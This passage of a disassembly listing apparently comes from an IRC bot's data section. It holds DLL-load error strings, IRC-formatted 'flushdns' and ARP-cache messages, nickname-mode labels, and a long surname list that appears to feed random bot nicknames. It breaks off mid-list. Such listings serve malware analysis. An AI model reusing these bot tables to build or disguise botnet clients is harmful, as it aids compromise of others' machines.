DATA XREF: sub_40A7CF+12Co align 4 ; char aWs2_32_dllFail[] aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o ; char aGdi32_dllFaile[] aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o align 4 ; char aAdvapi32_dllFa[] aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o align 10h ; char aUser32_dllFail[] aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co ; char aKernel32_dllFa[] aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o align 4 ; char a__0[] a__0: ; DATA XREF: sub_40D99C+10o ; sub_40F96B+252o unicode 0, <.>,0 unk_42DBB8 db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40ABF1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 ; char asc_42DBE8[] asc_42DBE8 db '-' ; DATA XREF: sub_40AB32:loc_40ABBFo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42DC18 db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40AB8Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 ; char asc_42DC3C[] asc_42DC3C db '-' ; DATA XREF: sub_40AB32+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 ; char aD_D_D_D[] aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC10+46o ; sub_40BFEC+38o ... align 8 aReal db 'real',0 align 10h dd 0 dword_42DC84 dd 0 ; DATA XREF: sub_40B08E+7o off_42DC88 dd offset sub_40ACB6 ; DATA XREF: sub_40B08E+49r aConst db 'const',0 align 8 dd 1, 40AD23h, 7474656Ch, 7265h, 0 dd 2, 40AD81h, 706D6F63h, 2 dup(0) dd 3, 40ADCEh, 6E756F63h, 797274h, 0 dd 4, 40AE6Ch, 736Fh, 2 dup(0) dd 5, 40AEE1h off_42DCF0 dd offset aAbdulrazak ; DATA XREF: sub_40ACB6+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42DCFC dd offset aAddison ; DATA XREF: sub_40B08E+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; 